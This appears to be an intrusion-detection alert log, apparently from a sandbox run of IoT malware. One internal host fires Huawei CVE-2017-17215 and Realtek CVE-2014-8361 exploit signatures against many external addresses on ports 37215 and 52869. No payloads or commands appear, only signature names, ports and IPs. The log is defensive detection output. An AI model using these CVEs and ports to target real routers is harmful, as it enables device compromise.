07/20/24-23:10:41.231287	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36850	37215	192.168.2.15	197.210.234.155
07/20/24-23:10:51.957773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36992	52869	192.168.2.15	42.146.219.162
07/20/24-23:10:44.234530	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54544	52869	192.168.2.15	57.100.65.212
07/20/24-23:10:41.231521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44828	37215	192.168.2.15	157.55.63.232
07/20/24-23:11:06.663147	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58606	37215	192.168.2.15	170.114.65.210
07/20/24-23:10:43.627792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44342	52869	192.168.2.15	57.98.148.229
07/20/24-23:10:40.616009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60454	37215	192.168.2.15	157.76.73.5
07/20/24-23:10:41.232616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47306	37215	192.168.2.15	157.22.160.234
07/20/24-23:11:06.663147	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35622	37215	192.168.2.15	157.141.241.10
07/20/24-23:10:44.478714	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58220	52869	192.168.2.15	8.190.85.240
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38146	37215	192.168.2.15	157.48.119.194
07/20/24-23:11:03.394674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47010	37215	192.168.2.15	41.44.248.238
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55502	37215	192.168.2.15	197.130.206.169
07/20/24-23:10:51.950746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54044	52869	192.168.2.15	161.93.54.6
07/20/24-23:10:56.006442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52798	37215	192.168.2.15	157.252.98.245
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40578	37215	192.168.2.15	197.205.44.138
07/20/24-23:10:51.995612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53512	52869	192.168.2.15	121.181.18.104
07/20/24-23:10:42.642008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43394	52869	192.168.2.15	187.182.235.57
07/20/24-23:10:59.028826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60378	37215	192.168.2.15	157.150.96.161
07/20/24-23:10:59.032609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52366	37215	192.168.2.15	197.96.51.43
07/20/24-23:10:51.948284	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32966	52869	192.168.2.15	34.2.61.34
07/20/24-23:10:49.380109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56500	37215	192.168.2.15	41.34.3.219
07/20/24-23:10:51.950747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55348	52869	192.168.2.15	119.6.246.136
07/20/24-23:10:46.755097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35330	37215	192.168.2.15	41.226.220.209
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56712	37215	192.168.2.15	41.55.245.163
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38982	37215	192.168.2.15	41.238.143.20
07/20/24-23:10:52.563890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51038	37215	192.168.2.15	113.169.82.235
07/20/24-23:10:39.430692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58302	37215	192.168.2.15	197.130.106.175
07/20/24-23:10:51.992632	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38926	52869	192.168.2.15	86.101.91.169
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45038	37215	192.168.2.15	111.61.149.252
07/20/24-23:10:45.231868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35292	52869	192.168.2.15	45.156.147.64
07/20/24-23:10:56.002189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54144	37215	192.168.2.15	197.125.126.1
07/20/24-23:10:41.231287	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47936	37215	192.168.2.15	41.208.56.128
07/20/24-23:10:49.380109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50710	37215	192.168.2.15	151.35.74.136
07/20/24-23:10:51.955556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41882	52869	192.168.2.15	196.162.5.87
07/20/24-23:10:42.630809	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60498	52869	192.168.2.15	73.203.24.52
07/20/24-23:10:52.607833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58572	37215	192.168.2.15	197.90.20.33
07/20/24-23:10:51.950529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55568	52869	192.168.2.15	132.40.118.189
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50524	37215	192.168.2.15	157.173.171.152
07/20/24-23:10:51.925000	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48620	52869	192.168.2.15	47.162.26.170
07/20/24-23:10:46.778936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51900	37215	192.168.2.15	41.8.88.232
07/20/24-23:10:40.662520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48602	37215	192.168.2.15	157.131.188.191
07/20/24-23:10:42.267551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58026	37215	192.168.2.15	157.59.86.95
07/20/24-23:10:52.024960	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52202	52869	192.168.2.15	83.91.222.86
07/20/24-23:10:46.768902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41138	37215	192.168.2.15	41.123.221.145
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54920	37215	192.168.2.15	14.49.13.245
07/20/24-23:10:51.999918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47826	52869	192.168.2.15	211.213.18.108
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34424	37215	192.168.2.15	157.8.173.238
07/20/24-23:10:47.935486	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53352	52869	192.168.2.15	116.183.105.217
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53108	37215	192.168.2.15	65.246.66.79
07/20/24-23:10:51.925000	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42642	52869	192.168.2.15	161.174.65.14
07/20/24-23:10:45.364728	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54748	52869	192.168.2.15	19.7.44.118
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41076	37215	192.168.2.15	197.36.183.119
07/20/24-23:10:42.250388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43018	37215	192.168.2.15	18.57.98.31
07/20/24-23:10:49.404246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33014	37215	192.168.2.15	157.16.55.119
07/20/24-23:10:51.898994	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40010	52869	192.168.2.15	59.72.27.90
07/20/24-23:10:52.551688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35400	37215	192.168.2.15	31.179.64.179
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59244	37215	192.168.2.15	32.89.4.217
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46082	37215	192.168.2.15	197.146.154.155
07/20/24-23:10:41.231287	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37846	37215	192.168.2.15	157.82.186.155
07/20/24-23:10:40.656564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43508	37215	192.168.2.15	41.29.68.15
07/20/24-23:10:51.991411	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41228	52869	192.168.2.15	141.20.236.188
07/20/24-23:10:40.017556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37910	52869	192.168.2.15	90.4.66.163
07/20/24-23:10:42.640980	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49072	52869	192.168.2.15	109.51.3.47
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34838	37215	192.168.2.15	117.128.164.33
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33292	37215	192.168.2.15	197.167.3.144
07/20/24-23:10:42.619459	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48840	52869	192.168.2.15	114.147.236.150
07/20/24-23:10:47.775313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45186	52869	192.168.2.15	101.180.103.77
07/20/24-23:10:51.951774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37096	52869	192.168.2.15	1.209.39.62
07/20/24-23:10:52.008043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43144	52869	192.168.2.15	148.178.43.17
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55952	37215	192.168.2.15	157.249.128.39
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42236	37215	192.168.2.15	73.156.239.191
07/20/24-23:11:03.371424	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37732	37215	192.168.2.15	157.121.119.14
07/20/24-23:10:47.568033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50430	52869	192.168.2.15	90.138.160.122
07/20/24-23:10:42.621194	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43364	52869	192.168.2.15	102.181.59.60
07/20/24-23:10:44.777380	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56364	52869	192.168.2.15	66.88.126.168
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57318	37215	192.168.2.15	157.255.193.251
07/20/24-23:10:42.248539	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54990	37215	192.168.2.15	157.206.206.167
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47454	37215	192.168.2.15	122.72.16.198
07/20/24-23:11:03.382352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37246	37215	192.168.2.15	183.71.151.25
07/20/24-23:10:42.621912	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42458	52869	192.168.2.15	89.171.240.248
07/20/24-23:10:59.006202	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60616	37215	192.168.2.15	138.154.5.192
07/20/24-23:10:51.971547	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40236	52869	192.168.2.15	195.202.70.255
07/20/24-23:10:56.006442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49912	37215	192.168.2.15	197.229.172.214
07/20/24-23:10:51.992632	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57902	52869	192.168.2.15	66.88.126.168
07/20/24-23:11:03.361259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45454	37215	192.168.2.15	197.228.0.150
07/20/24-23:10:39.486941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38188	37215	192.168.2.15	197.199.57.112
07/20/24-23:10:41.220534	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57506	37215	192.168.2.15	131.14.103.148
07/20/24-23:10:39.083165	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43394	52869	192.168.2.15	183.79.5.78
07/20/24-23:10:39.434366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40632	37215	192.168.2.15	157.219.83.230
07/20/24-23:10:43.255185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56624	52869	192.168.2.15	141.170.58.184
07/20/24-23:10:52.563890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47868	37215	192.168.2.15	157.158.41.236
07/20/24-23:10:41.220616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40428	37215	192.168.2.15	118.174.41.159
07/20/24-23:10:39.856707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45686	52869	192.168.2.15	18.50.207.232
07/20/24-23:10:59.023708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36506	37215	192.168.2.15	197.147.171.117
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60814	37215	192.168.2.15	41.136.185.124
07/20/24-23:10:52.598915	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47522	37215	192.168.2.15	217.55.96.198
07/20/24-23:10:39.474284	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37790	37215	192.168.2.15	157.35.130.251
07/20/24-23:10:46.630597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42888	52869	192.168.2.15	111.197.150.31
07/20/24-23:10:43.114223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47404	52869	192.168.2.15	65.78.88.55
07/20/24-23:10:46.734527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54616	37215	192.168.2.15	197.71.60.13
07/20/24-23:11:06.696229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33494	37215	192.168.2.15	41.89.22.57
07/20/24-23:11:06.663147	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35622	37215	192.168.2.15	157.141.241.10
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34292	37215	192.168.2.15	157.168.215.230
07/20/24-23:10:47.841560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34964	52869	192.168.2.15	131.63.7.210
07/20/24-23:10:55.977404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32822	37215	192.168.2.15	41.15.230.22
07/20/24-23:10:56.046357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35590	37215	192.168.2.15	197.248.10.173
07/20/24-23:10:39.438135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40404	37215	192.168.2.15	197.55.86.176
07/20/24-23:10:51.992277	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35210	52869	192.168.2.15	83.29.88.76
07/20/24-23:10:52.047583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36086	52869	192.168.2.15	2.190.145.125
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53324	37215	192.168.2.15	157.67.9.68
07/20/24-23:10:49.409236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58370	37215	192.168.2.15	41.102.112.70
07/20/24-23:11:03.394674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43368	37215	192.168.2.15	51.58.164.251
07/20/24-23:10:39.434366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47674	37215	192.168.2.15	13.252.226.77
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43718	37215	192.168.2.15	72.178.188.43
07/20/24-23:10:40.649804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50210	37215	192.168.2.15	41.174.190.33
07/20/24-23:10:49.377082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41478	37215	192.168.2.15	157.106.203.155
07/20/24-23:10:46.721416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41634	37215	192.168.2.15	41.213.233.79
07/20/24-23:10:52.555606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52694	37215	192.168.2.15	202.189.249.183
07/20/24-23:10:39.707918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48646	52869	192.168.2.15	209.99.231.53
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42792	37215	192.168.2.15	145.173.59.252
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44228	37215	192.168.2.15	99.157.121.99
07/20/24-23:10:44.166369	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34916	52869	192.168.2.15	97.164.50.55
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55890	37215	192.168.2.15	213.170.158.66
07/20/24-23:10:52.061682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43186	52869	192.168.2.15	60.47.44.203
07/20/24-23:10:59.023708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49388	37215	192.168.2.15	157.15.150.168
07/20/24-23:11:06.676715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55764	37215	192.168.2.15	41.237.160.19
07/20/24-23:10:46.829468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38208	37215	192.168.2.15	73.153.13.203
07/20/24-23:11:06.688603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49056	37215	192.168.2.15	197.6.54.213
07/20/24-23:10:45.052621	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55768	52869	192.168.2.15	163.184.174.135
07/20/24-23:10:59.050849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50748	37215	192.168.2.15	197.219.187.203
07/20/24-23:10:39.497131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39504	37215	192.168.2.15	41.52.21.44
07/20/24-23:11:03.306086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45090	37215	192.168.2.15	157.77.255.75
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38156	37215	192.168.2.15	197.251.233.95
07/20/24-23:10:46.809208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55852	37215	192.168.2.15	197.172.70.43
07/20/24-23:10:42.620951	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38952	52869	192.168.2.15	131.159.98.164
07/20/24-23:10:59.012071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42216	37215	192.168.2.15	157.133.33.52
07/20/24-23:10:52.016220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53548	52869	192.168.2.15	110.195.69.132
07/20/24-23:10:47.908504	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49372	52869	192.168.2.15	159.255.12.160
07/20/24-23:10:46.832505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53432	37215	192.168.2.15	197.205.204.47
07/20/24-23:11:03.402557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42750	37215	192.168.2.15	107.37.185.77
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54850	37215	192.168.2.15	162.29.204.88
07/20/24-23:10:42.642008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44534	52869	192.168.2.15	203.39.100.182
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47236	37215	192.168.2.15	197.165.244.114
07/20/24-23:11:03.309500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40228	37215	192.168.2.15	41.90.146.20
07/20/24-23:10:49.377082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47626	37215	192.168.2.15	41.57.209.81
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37732	37215	192.168.2.15	4.56.195.59
07/20/24-23:10:52.021521	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54752	52869	192.168.2.15	93.87.50.30
07/20/24-23:10:39.438135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54780	37215	192.168.2.15	41.95.41.120
07/20/24-23:10:51.988569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38454	52869	192.168.2.15	20.223.23.215
07/20/24-23:10:42.630640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60034	52869	192.168.2.15	107.205.165.229
07/20/24-23:10:42.625971	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44092	52869	192.168.2.15	183.79.5.78
07/20/24-23:10:55.993044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45500	37215	192.168.2.15	41.47.17.60
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36840	37215	192.168.2.15	106.24.229.227
07/20/24-23:10:40.649804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48610	37215	192.168.2.15	41.89.36.24
07/20/24-23:10:41.222356	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39194	37215	192.168.2.15	161.55.194.1
07/20/24-23:10:51.917055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53878	52869	192.168.2.15	195.207.0.55
07/20/24-23:10:51.984755	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39854	52869	192.168.2.15	23.213.111.232
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40956	37215	192.168.2.15	197.18.206.159
07/20/24-23:10:46.836862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54926	37215	192.168.2.15	73.61.115.234
07/20/24-23:10:51.969301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55782	52869	192.168.2.15	140.169.88.3
07/20/24-23:10:42.272034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38322	37215	192.168.2.15	77.45.128.145
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37342	37215	192.168.2.15	157.86.230.135
07/20/24-23:10:46.756315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57128	37215	192.168.2.15	135.183.179.19
07/20/24-23:11:03.402557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49624	37215	192.168.2.15	157.71.208.160
07/20/24-23:10:49.447315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58988	37215	192.168.2.15	41.208.251.18
07/20/24-23:10:41.230071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57010	37215	192.168.2.15	197.4.12.194
07/20/24-23:10:44.476283	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54992	52869	192.168.2.15	92.38.222.42
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52988	37215	192.168.2.15	157.248.175.173
07/20/24-23:10:47.956414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40984	52869	192.168.2.15	158.108.32.200
07/20/24-23:10:39.433488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57118	37215	192.168.2.15	41.157.245.144
07/20/24-23:10:52.555606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46878	37215	192.168.2.15	41.201.237.95
07/20/24-23:10:42.248391	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45914	37215	192.168.2.15	141.79.176.187
07/20/24-23:10:59.067929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56832	37215	192.168.2.15	157.214.106.14
07/20/24-23:11:06.706397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60904	37215	192.168.2.15	41.40.108.188
